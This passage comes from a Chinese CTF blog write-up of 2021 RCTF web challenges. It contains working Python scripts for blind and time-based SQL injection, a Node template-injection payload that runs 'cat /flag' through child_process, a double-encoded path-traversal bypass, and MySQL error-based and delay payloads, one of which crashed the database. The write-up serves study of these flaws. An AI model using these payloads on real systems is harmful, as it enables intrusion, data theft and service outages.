class="string">&quot;http://123.60.21.23:23333/user/register&quot;</span>, <span class="string">&quot;Connection&quot;</span>: <span class="string">&quot;close&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Accept-Encoding&quot;</span>: <span class="string">&quot;gzip, deflate&quot;</span>, <span class="string">&quot;Accept-Language&quot;</span>: <span class="string">&quot;zh-CN,zh;q=0.9&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Content-Type&quot;</span>: <span class="string">&quot;application/x-www-form-urlencoded&quot;</span>&#125;</span><br><span class="line">    response = session.post(<span class="string">&quot;http://123.60.21.23:23333/user/login&quot;</span>, data=paramsPost, headers=headers)</span><br><span class="line">    <span class="keyword">if</span> <span class="string">&quot;You Bad Bad&quot;</span> <span class="keyword">in</span> response.content:</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">exp</span>():</span></span><br><span class="line">    data = <span class="string">&quot;&quot;</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">64</span>):</span><br><span class="line">        flag = <span class="literal">False</span></span><br><span class="line">        <span class="keyword">for</span> c <span class="keyword">in</span> <span class="string">&quot;0123456789abcdef&quot;</span>:</span><br><span class="line">            payload = <span class="string">&quot;^&quot;</span> + data + c</span><br><span class="line">            <span class="keyword">if</span> req(payload):</span><br><span class="line">                data += c</span><br><span class="line">                flag = <span class="literal">True</span></span><br><span class="line">                <span class="built_in">print</span> data</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> flag:</span><br><span class="line">            <span class="built_in">print</span> <span class="string">&quot;fail!&quot;</span></span><br><span class="line">            exit()</span><br><span class="line">    <span class="keyword">return</span> data</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    password = exp()</span><br><span class="line">    session.post(<span class="string">&quot;http://123.60.21.23:23333/user/login&quot;</span>, data=&#123;<span class="string">&#x27;username&#x27;</span>: <span class="string">&#x27;rabbit&#x27;</span>, <span class="string">&#x27;password&#x27;</span>: password&#125;)</span><br><span class="line">    resp = session.post(<span class="string">&quot;http://123.60.21.23:23333/shop/order&quot;</span>, data=&#123;<span class="string">&#x27;username&#x27;</span>: <span class="string">&#x27;rabbit&#x27;</span>, <span class="string">&#x27;candyname&#x27;</span>: <span class="string">&#x27;bunny_candy&#x27;</span>,</span><br><span class="line">                                                               <span class="string">&#x27;address&#x27;</span>: <span class="string">&quot;gml&#x27; readonly)\r\n                                \x23&#123;global.process.mainModule.constructor._load(&#x27;child_process&#x27;).execSync(&#x27;cat /flag&#x27;).toString(\&quot;utf8\&quot;)&#125;\r\n                                //&quot;</span>&#125;)</span><br><span class="line">    <span class="built_in">print</span> resp.content</span><br></pre></td></tr></table></figure><h1 id="easyphp"><a href="#easyphp" class="headerlink" title="easyphp"></a>easyphp</h1><p>需要绕过nginx对 /admin的过滤，以及路径中要包含 login 的检查。</p><p>这个题比较坑，我本地起环境直接报错，必须docker起，所以我就在源码里用 var_dump 调试。</p><p>跟flight路由源码，<a href="https://segmentfault.com/a/1190000017289717?sort=newest">https://segmentfault.com/a/1190000017289717?sort=newest</a></p><p>最终用正则匹配url的时候在<code>net/Route.php</code>：</p><p><img src="/2021/09/13/2021-RCTF/image-20210913140407636.png" alt="image-20210913140407636"></p><p>pattern是/admin的时候，这个正则是这样的：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">#^&#x2F;admin&#x2F;?(?:\\?.*)?$#i</span><br></pre></td></tr></table></figure><p><img src="/2021/09/13/2021-RCTF/Untitled1.png" alt="Untitled 1"></p><p>并且默认不区分大小写，所以使用<code>/Admin%3flogin</code> 可以绕过。</p><p>后面还需要bypass对 ../ 的过滤，看看这个$request-&gt;query 怎么得到的：</p><p><img src="/2021/09/13/2021-RCTF/Untitled2.png" alt="Untitled 2"></p><p>这里因为前面%3f问号绕过，可能有点问题，%3f解码成了问号，后面的变成了参数：</p><p><img src="/2021/09/13/2021-RCTF/Untitled3.png" alt="Untitled 3"></p><p>可以看到login被识别成了一个GET参数，所以后面就可以拼接&amp;来传入data来bypass WAF 对$_GET的过滤了。</p><p>但是 <code>/ADMIN%3flogin=1&amp;data=..%2f</code> 不成功，因为%2f解码后变成了/，中间的又变成路径了。这里继续跟源码，发现 self::parseQuery 里有 parse_url，parse_url会进行一次urldecode：</p><p><img src="/2021/09/13/2021-RCTF/Untitled4.png" alt="Untitled 4"></p><p>所以二次编码可以绕过。</p><p>payload：<code>/ADMIN%3flogin=1&amp;data=..%252f..%252f..%252fflag</code></p><h1 id="EasySQLi"><a href="#EasySQLi" class="headerlink" title="EasySQLi"></a>EasySQLi</h1><p>这个题做了好久，最后还好终于出了，进行了很多的尝试。不过这题目从做下来到赛后跟出题人交流，学到了不少。</p><p>题目逻辑很简单，user()就是flag，需要注入出user()的数据。问题在于 where 的条件是假的，导致order by 的语句不会执行（其实where条件是真的也不能sleep，因为只有一行数据不需要order by）</p><p><img src="/2021/09/13/2021-RCTF/image-20210913141425316.png" alt="image-20210913141425316"></p><h2 id="失败的尝试"><a href="#失败的尝试" class="headerlink" title="失败的尝试"></a>失败的尝试</h2><p>pdo 默认是可以堆叠的，但是这个题没给配置，就非常难受。开始的想法是order by 后面的语句根本就不会被执行，不堆叠不能做，所以测试了好久题目能不能堆叠。</p><p>本地搭建了一个非常近似的环境：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">$dbms=<span class="string">&#x27;mysql&#x27;</span>;     </span><br><span class="line">$host=<span class="string">&#x27;127.0.0.1&#x27;</span>; </span><br><span class="line">$port = <span class="string">&#x27;2333&#x27;</span>;</span><br><span class="line">$dbName=<span class="string">&#x27;test&#x27;</span>;    </span><br><span class="line">$user=<span class="string">&#x27;root&#x27;</span>;      </span><br><span class="line">$pass=<span class="string">&#x27;123456&#x27;</span>;    </span><br><span class="line">$dsn=<span class="string">&quot;<span class="subst">$dbms</span>:host=<span class="subst">$host</span>;port=<span class="subst">$port</span>;dbname=<span class="subst">$dbName</span>&quot;</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">try</span> &#123;</span><br><span class="line">    $dbh = <span class="keyword">new</span> PDO($dsn, $user, $pass); </span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;连接成功&lt;br/&gt;\n&quot;</span>;</span><br><span class="line">    $dbh = <span class="literal">null</span>;</span><br><span class="line">&#125; <span class="keyword">catch</span> (PDOException $e) &#123;</span><br><span class="line">    <span class="keyword">die</span> (<span class="string">&quot;Error!: &quot;</span> . $e-&gt;getMessage() . <span class="string">&quot;&lt;br/&gt;&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line">$db = <span class="keyword">new</span> PDO($dsn, $user, $pass);</span><br><span class="line">set_time_limit(<span class="number">1</span>);</span><br><span class="line">$s = floatval(microtime());</span><br><span class="line"><span class="comment">// echo $s;</span></span><br><span class="line">$order = <span class="string">&#x27;1;select sleep(4)&#x27;</span>;</span><br><span class="line">$sql = <span class="string">&quot;SELECT CONCAT(&#x27;RCTF&#123;&#x27;,USER(),&#x27;&#125;&#x27;) AS FLAG WHERE &#x27;🍬关注嘉然🍬&#x27; = &#x27;🍬顿顿解馋🍬&#x27; OR &#x27;🍬Watch Diana a day🍬&#x27; = &#x27;🍬Keep hunger away🍬&#x27; OR &#x27;🍬嘉然に注目して🍬&#x27; = &#x27;🍬食欲をそそる🍬&#x27; ORDER BY <span class="subst">$order</span>;&quot;</span>;</span><br><span class="line"><span class="keyword">echo</span> microtime().<span class="string">&quot;\n&quot;</span>;</span><br><span class="line">$stm = $db-&gt;prepare($sql);</span><br><span class="line"><span class="keyword">echo</span> microtime().<span class="string">&quot;\n&quot;</span>;</span><br><span class="line">$stm-&gt;execute();</span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;Count <span class="subst">&#123;$stm-&gt;rowCount()&#125;</span>.&quot;</span>;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;\n&quot;</span>;</span><br><span class="line"></span><br><span class="line">usleep((<span class="number">1</span> + floatval(microtime()) - $s) * <span class="number">1e6</span>);</span><br></pre></td></tr></table></figure><p>起个 8.0.21 的mysql：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker run --name sql  -e MYSQL_ROOT_PASSWORD=123456 -p 2333:3306 -d mysql:8.0.21</span><br></pre></td></tr></table></figure><p>默认pdo是可以堆叠的，所以本地这个环境堆叠没什么问题。</p><p>这个题代码里有一些对时间的操作，这个 <code>set_time_limit(1);</code>加上最后的 usleep，我本来以为是让脚本运行时间恒定为一秒左右，防止时间盲注。但是本地测试发现直接order设置成 <code>1;select sleep(4)</code>就可以sleep 4s。google 一下：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">The set_time_limit() function and the configuration directive max_execution_time only affect the execution time of the script itself. Any time spent on activity that happens outside the execution of the script such as system calls using system(), stream operations, database queries, etc. is not included when determining the maximum time that the script has been running. This is not true on Windows where the measured time is real.</span><br></pre></td></tr></table></figure><p>看起来mysql操作不受这个函数的影响。但是远程就是不延迟，这让我对远程是否可以堆叠产生了怀疑。</p><p>本地测试还发现一个有趣的现象，即使sleep，但是运行php脚本，马上就 echo 了行数。所以第二条语句是在后台执行的，而不是在执行阶段卡住。以为这是考点，但是没什么卵用（不能堆叠）。</p><p>经过了大量的本地测试和远程尝试，可以基本确定远程不能堆叠注入….</p><p>感觉不是时间盲注，但是题目对时间的操作确实奇怪，一直stuck，就去看另一个sql了。</p><p>直到第二天晚上放了hint：time-based。继续硬着头皮看，想到了一个问题，为什么用prepare和execute而不是直接query，莫非 prepare 的时候有延迟的方法？</p><p>然后就是各种尝试，使用mysql client 终端的 prepare 进行测试，测试很多发现后面还是不会执行…</p><h2 id="发现updatexml"><a href="#发现updatexml" class="headerlink" title="发现updatexml"></a>发现updatexml</h2><p>另一个 ns_shift_sql 题目是考报错的，我随便在这个题直接扔一个 updatexml 报错注入的payload，没想到居然在prepare阶段被执行了：</p><p><img src="/2021/09/13/2021-RCTF/Untitled6.png" alt="Untitled 6"></p><p>瞬间狂喜，感觉可以搞，但是不能用 sleep。要想办法让mysql去做一些费时的操作造成延迟，所以尝试用一大堆hex，因为这个计算量是成倍增加。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">prepare a from  &quot;select 1 where 0 order by updatexml(1,concat(&#39;~&#39;,(if(1,(select length(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(&#39;11111111&#39;))))))))))))))))))))))))))))))))))))))))))))))))))),&#39;a&#39;),1)),1)&quot;;</span><br></pre></td></tr></table></figure><p> 结果mysql这个容器直接挂了，而if后面改成0，不会挂。看样子可以盲注了。</p><p>我直接试了一下打远程，结果远程环境 mysql 直接挂了。减少点hex，经过测试，大约30个hex，里面数据是 ‘1’，不会挂掉，并且远程环境能延时3秒多，非常不错。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line">session = requests.Session()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">req</span>(<span class="params">order</span>):</span></span><br><span class="line">    paramsGet = &#123;</span><br><span class="line">        <span class="string">&quot;order&quot;</span>: order&#125;</span><br><span class="line">    headers = &#123;<span class="string">&quot;Cache-Control&quot;</span>: <span class="string">&quot;no-cache&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Accept&quot;</span>: <span class="string">&quot;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Upgrade-Insecure-Requests&quot;</span>: <span class="string">&quot;1&quot;</span>,</span><br><span class="line">               <span class="string">&quot;User-Agent&quot;</span>: <span class="string">&quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Connection&quot;</span>: <span class="string">&quot;close&quot;</span>, <span class="string">&quot;Pragma&quot;</span>: <span class="string">&quot;no-cache&quot;</span>, <span class="string">&quot;Accept-Encoding&quot;</span>: <span class="string">&quot;gzip, deflate&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Accept-Language&quot;</span>: <span class="string">&quot;zh-CN,zh;q=0.9&quot;</span>&#125;</span><br><span class="line">    cookies = &#123;<span class="string">&quot;PHPSESSID&quot;</span>: <span class="string">&quot;e5c4d349d498b38170023dc707e5f7fc&quot;</span>&#125;</span><br><span class="line">    t1 = time.time()</span><br><span class="line">    response = session.get(<span class="string">&quot;http://124.71.132.232:11002/&quot;</span>, params=paramsGet, headers=headers)</span><br><span class="line">    t2 = time.time()</span><br><span class="line">    <span class="keyword">if</span> t2 - t1 &gt; <span class="number">2.5</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">exp</span>():</span></span><br><span class="line">    data = <span class="string">&#x27;&#x27;</span></span><br><span class="line">    tem = <span class="string">&quot;updatexml(1,concat(&#x27;~&#x27;,(if((substr(hex(user()),%s,1)=&#x27;%s&#x27;),(select+length(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(&#x27;1&#x27;)))))))))))))))))))))))))))))))),&#x27;a&#x27;)),1),1)&quot;</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="number">100</span>):</span><br><span class="line">        flag = <span class="literal">False</span></span><br><span class="line">        <span class="keyword">for</span> c <span class="keyword">in</span> <span class="string">&quot;0123456789ABCDEF&quot;</span>:</span><br><span class="line">            payload = tem % (i, c)</span><br><span class="line">            <span class="keyword">if</span> req(payload):</span><br><span class="line">                data += c</span><br><span class="line">                flag = <span class="literal">True</span></span><br><span class="line">                <span class="keyword">if</span> i % <span class="number">2</span>==<span class="number">0</span>:</span><br><span class="line">                    <span class="built_in">print</span> data.decode(<span class="string">&quot;hex&quot;</span>)</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> flag:</span><br><span class="line">            <span class="built_in">print</span> <span class="string">&quot;fail&quot;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">exp()</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="/2021/09/13/2021-RCTF/image-20210913144624261.png" alt="image-20210913144624261"></p><p>不过后面我尝试打挂题目，奇怪的是打不挂了。还以为出题人限制了，赛后问出题人没改题，应该是设置了 restart always。</p><h2 id="赛后交流"><a href="#赛后交流" class="headerlink" title="赛后交流"></a>赛后交流</h2><p>与Nu1L的@wupco师傅交流了一下，他说prepare优先处理updatexml是老问题了，之前见过orz… 他用的是repeat函数来延迟，不过好像效果没有hex好，他跑了好几次的样子，时间都是精确到毫秒级别的。</p><p>与出题人也交流了一下，出题的想法是对抗mysql的优化，mysql 会提前计算一些表达式之类的能造成延迟。我在比赛中用的是mysql client 的prepare，没想到这跟pdo的prepare还有些不同。在命令行里updatexml prepare可以造成延时，但是在pdo却不可以：</p><p><img src="/2021/09/13/2021-RCTF/image-20210913145939837.png" alt="image-20210913145939837"></p><p>我在prepare前，prepare和execute中间以及execute后都输出了一下时间，可以看到是在execute的时候才延时。所以这两个prepare还是有些不同的。</p><p>除了updatexml以外，出题人还提供了一种方式：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">(</span><br><span class="line">SELECT</span><br><span class="line">    1</span><br><span class="line">FROM</span><br><span class="line">    JSON_TABLE (</span><br><span class="line">        CONCAT (&#39;[&#39;, REPEAT(&#39;1,&#39;, IF(0,1,9999999)), &#39;1]&#39;), &#39;$[*]&#39;</span><br><span class="line">        COLUMNS ( </span><br><span class="line">            NESTED PATH &#39;$&#39; COLUMNS (r INT PATH &#39;$&#39;)</span><br><span class="line">        )</span><br><span class="line">    )</span><br><span class="line">AS t</span><br><span class="line">)</span><br></pre></td></tr></table></figure><p><img src="/2021/09/13/2021-RCTF/image-20210913150358000.png" alt="image-20210913150358000"></p><p>利用 json_table 凭空捏一个表。</p><p>但是基于 json_table 和 updatexml 都无法注数据，也可以说是无法执行  <code>from table_name</code>，一旦出现这个逻辑就没有时间差了，这与prepare的处理有关系（现在做注入题都需要看mysql源码了么orz）。</p><p>另外一个有趣的点是，做题的时候因为搞prepare，所以就去翻prepare的文档，发现了这个：</p><p><img src="/2021/09/13/2021-RCTF/image-20210913150934739.png" alt="image-20210913150934739"></p><p>8.0.22版本后prepare在确定参数类型这块有些修改。比赛的时候题目描述里写明了mysql版本是8.0.21，当时就感觉这块会不会就是考点，但是联系不上。赛后跟出题人交流，prepare里用 updatexml 可以造成延迟触发的地方就是确定类型这里（出题人扒源码的图）：</p><p><img src="/2021/09/13/2021-RCTF/image-20210913152431186.png" alt="image-20210913152431186"></p><p>其中<code>if (args[1]-&gt;const_item()</code>就是限制了不用访问其他表。</p><p>我启了一个8.0.22的docker测试，发现常字符串还可以延时，但是user()这种就不行了：</p><p><img src="/2021/09/13/2021-RCTF/image-20210913152822945.png" alt="image-20210913152822945"></p><p>mysql8.0.22后就给修了。</p><h2 id="ns-shaft-sql"><a href="#ns-shaft-sql" class="headerlink" title="ns_shaft_sql"></a>ns_shaft_sql</h2><p>题目大致意思是有46关，每一关传入一句sql，要让mysql报错，并且报错信息含有特定字符串（需要用select查询）。每过一关，会把你这关的sql语句里用到的所有函数提取出来，再去一个名为$mysql_function的数组里查找，如果存在就加入到黑名单，你下一关就不能用这个函数了。有个例外，unhex和concat两个函数可以随便使用，相当于在白名单里。</p><p>经过测试常见的报错注入函数，像 updatexml，extractvalue都在这个列表里，猜测这应该是个mysql所有函数的列表？为了搞出这个列表，我把mysql文档上的function列表拖了下来，然后写了个脚本去测试：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">from</span> base64 <span class="keyword">import</span> b64encode</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">test</span>(<span class="params">function</span>):</span></span><br><span class="line">    s = requests.session()</span><br><span class="line">    content = s.get(<span class="string">&quot;http://124.71.132.232:23334/&quot;</span>).content</span><br><span class="line">    index = content.find(<span class="string">&#x27;key is &#x27;</span>) + <span class="built_in">len</span>(<span class="string">&#x27;key is &#x27;</span>)</span><br><span class="line">    key = content[index:index + <span class="number">8</span>]</span><br><span class="line"></span><br><span class="line">    sql = <span class="string">&quot;select &#x27;%s&#x27;,updatexml(1,concat(0x7e,(select v from s where k=&#x27;%s&#x27;),0x7e),1)&quot;</span> % (function, key)</span><br><span class="line">    resp = s.get(<span class="string">&quot;http://124.71.132.232:23334/&quot;</span>, params=&#123;<span class="string">&#x27;sql&#x27;</span>: b64encode(sql)&#125;).content</span><br><span class="line">    resp = resp[resp.find(<span class="string">&#x27;floor 2&#x27;</span>):]</span><br><span class="line">    index = resp.find(<span class="string">&quot;Disabled Functions: &quot;</span>) + <span class="built_in">len</span>(<span class="string">&quot;Disabled Functions: &quot;</span>)</span><br><span class="line">    resp = resp[index:]</span><br><span class="line">    resp = resp[:resp.find(<span class="string">&quot;\n&quot;</span>)].strip()</span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> resp.startswith(<span class="string">&#x27;updatexml&#x27;</span>):</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="built_in">list</span> = <span class="string">&#x27;&#x27;&#x27;ABS()</span></span><br><span class="line"><span class="string">ACOS()</span></span><br><span class="line"><span class="string">ADDDATE()</span></span><br><span class="line"><span class="string">ADDTIME()</span></span><br><span class="line"><span class="string">AES_DECRYPT()</span></span><br><span class="line"><span class="string">AES_ENCRYPT()</span></span><br><span class="line"><span class="string">AND</span></span><br><span class="line"><span class="string">ANY_VALUE()</span></span><br><span class="line"><span class="string">...&#x27;&#x27;&#x27;</span>.split(<span class="string">&quot;\n&quot;</span>) <span class="comment"># 此处省略，就是mysql文档上的function列表</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> function <span class="keyword">in</span> <span class="built_in">list</span>:</span><br><span class="line">    <span class="keyword">if</span> test(function):</span><br><span class="line">        <span class="built_in">print</span> function</span><br></pre></td></tr></table></figure><p>发现很多都在列表里，所以把没在列表里的函数打出来：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br></pre></td><td class="code"><pre><span class="line">AND</span><br><span class="line">BETWEEN</span><br><span class="line">AND</span><br><span class="line">BINARY</span><br><span class="line">CASE</span><br><span class="line">CONCAT</span><br><span class="line">DIV</span><br><span class="line">IS</span><br><span class="line">LAST_DAY</span><br><span class="line">LIKE</span><br><span class="line">LOCALTIMESTAMP</span><br><span class="line">LOCALTIMESTAMP</span><br><span class="line">MATCH</span><br><span class="line">MEMBER</span><br><span class="line">NOT</span><br><span class="line">OR</span><br><span class="line">REGEXP</span><br><span class="line">RLIKE</span><br><span class="line">SHA</span><br><span class="line">SOUNDS LIKE</span><br><span class="line">ST_AsWKB</span><br><span class="line">ST_AsWKT</span><br><span class="line">ST_GeometryCollectionFromText</span><br><span class="line">ST_GeomCollFromTxt()</span><br><span class="line">ST_GeometryCollectionFromWKB()</span><br><span class="line">ST_GeometryFromText()</span><br><span class="line">ST_GeometryFromWKB()</span><br><span class="line">ST_LineStringFromText()</span><br><span class="line">ST_LineStringFromWKB()</span><br><span class="line">ST_FromText()</span><br><span class="line">ST_MultiLineStringFromWKB()</span><br><span class="line">ST_MultiPointFromText()</span><br><span class="line">ST_MultiPointFromWKB()</span><br><span class="line">ST_MultiPolygonFromText()</span><br><span class="line">ST_MultiPolygonFromWKB()</span><br><span class="line">ST_NumInteriorRings()</span><br><span class="line">ST_PolygonFromText()</span><br><span class="line">ST_PolygonFromWKB()</span><br><span class="line">UNHEX()</span><br><span class="line">UPPER()</span><br><span class="line">USER()</span><br><span class="line">UTC_DATE()</span><br><span class="line">UTC_TIME()</span><br><span class="line">UTC_TIMESTAMP()</span><br><span class="line">UUID()</span><br><span class="line">UUID_SHORT()</span><br><span class="line">UUID_TO_BIN()</span><br><span class="line">VALIDATE_PASSWORD_STRENGTH()</span><br><span class="line">VALUES()</span><br><span class="line">VAR_POP()</span><br><span class="line">VAR_SAMP()</span><br><span class="line">VARIANCE()</span><br><span class="line">VERSION()</span><br><span class="line">WAIT_FOR_EXECUTED_GTID_SET()</span><br><span class="line">WAIT_UNTIL_SQL_THREAD_AFTER_GTIDS()</span><br><span class="line">WEEK()</span><br><span class="line">WEEKDAY()</span><br><span class="line">WEEKOFYEAR()</span><br><span class="line">WEIGHT_STRING()</span><br><span class="line">XOR</span><br><span class="line">YEAR()</span><br><span class="line">YEARWEEK()</span><br></pre></td></tr></table></figure><p>这些都是随意使用没有次数限制的，发现了一些ST开头的没被ban，尝试了几下不行。赛后问0ops师傅的做法，就是利用<code>ST_LineStringFromText</code>这个函数，我的姿势不对…</p><p><img src="/2021/09/13/2021-RCTF/image-20210913155818724.png" alt="image-20210913155818724"><br>只有传入一些特定参数才能触发。</p><p>Nu1L的wupco师傅用的是这个exp：<code>set @@sql_mode:=(select concat(0x22,v) from s where k=&#39;xxx&#39;);</code>，很巧妙。</p><p>与出题人交流，出题人表示预期就是用46种不同的方式来报错，这两个解法都属于非预期。那个mysql function list 原意是所有的mysql函数，但是不全导致了 0ops 师傅的非预期。</p><p>预期解是看mysql源码，理解报错原因，反向定位批量找。编译一个debug版本的mysql，然后用vscode +gdb动态调试… 具体看官方wp吧。</p><p>其他题目有时间再复现吧… verysafe听说类似2020巅峰极客初赛一道题，利用pearcmd.php，再结合 caddy 一个目录穿越。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;这周末本来有报告ddl，说好的不打，结果还是忍不住去看了题（ROIS的Web每年评价都不错）… 打了两天，时间大部分浪费在了两个sql题目上。队里也没啥人打，一共打比赛的就四个人。&lt;/p&gt;</summary>
    
    
    
    <category term="CTF" scheme="https://igml.top/categories/CTF/"/>
    
    <category term="Web" scheme="https://igml.top/categories/CTF/Web/"/>
    
    <category term="wp" scheme="https://igml.top/categories/CTF/Web/wp/"/>
    
    
    <category term="CTF" scheme="https://igml.top/tags/CTF/"/>
    
